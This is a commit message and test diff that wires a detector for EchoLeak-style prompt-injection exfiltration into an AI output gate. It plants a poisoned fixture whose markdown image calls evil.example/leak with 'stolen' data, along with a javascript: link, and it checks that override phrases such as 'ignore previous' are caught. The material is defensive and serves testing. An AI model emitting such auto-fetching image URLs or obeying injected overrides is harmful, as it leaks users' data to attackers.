feat(guard): active-content detector wired into the output gate (review MAJOR #1)

Close the EchoLeak wiring hole (CVE-2025-32711 class): markdown images/
links, reference definitions, autolinks, raw active HTML and data: URIs
now surface as report-only findings (active:*, OWASP LLM05) in
scan_output step 6, so screen_output and okf.import_bundle dispose of
them instead of admitting them with findings=[].

- new active_content.py: canonical home of the shared pattern table +
  scan_active_content; neutralize refactored to import it (mutating API
  and behavior unchanged, all neutralize tests pass as-is)
- images/links flagged only for absolute/protocol-relative URLs:
  relative in-bundle links are legitimate wiki/OKF mechanism (principle 5)
- evidence carries defanged URLs only (hxxps://evil[.]example)
- EchoLeak vectors planted in both showcases; detach proofs cover them
- README export list + checklist step 6, CLAUDE.md context line updated

Suite: 321 -> 341 passed. Core invariant intact (dependencies=[]).

tests/test_okf_showcase.py

@@ -75,6 +75,11 @@ def _poisoned_bundle() -> dict:
         "../escape.md": "---\ntype: table\n---\nbody\n",
         # T4 — a reserved basename shadows the directory listing.
         "index.md": "---\ntype: table\ndescription: Listing.\n---\nbody\n",
+        # LLM05 — the zero-click EchoLeak primitive: an auto-fetched markdown
+        # image URL that exfiltrates the moment the concept is rendered.
+        "echoleak.md": (
+            "---\ntype: table\n---\nSee ![chart](https://evil.example/leak?d=stolen) here.\n"
+        ),
         # T5a — a dangerous-scheme cross-link is refused in the link graph.
         "dangerous-link.md": "---\ntype: table\n---\nSee [x](javascript:alert(1)) here.\n",
         # §7.2 — a dangling cross-link to an absent concept (dormant-injection signal).
@@ -123,6 +128,7 @@ def _surface_checks(result: BundleResult) -> dict:
         "T3:resource": rejected("bad-resource.md"),
         "T2:frontmatter": rejected("dangerous-frontmatter.md"),
         "T1:body-injection": caught("body-injection.md", "override:ignore-previous"),
+        "LLM05:echoleak-image": caught("echoleak.md", "active:markdown-image"),
         "T1:frontmatter-desc": bool(desc and desc.report.found),
         "obfuscation:homoglyph": caught("obfuscated.md", "override:forget-instructions"),
         "T5a:dangerous-link": any(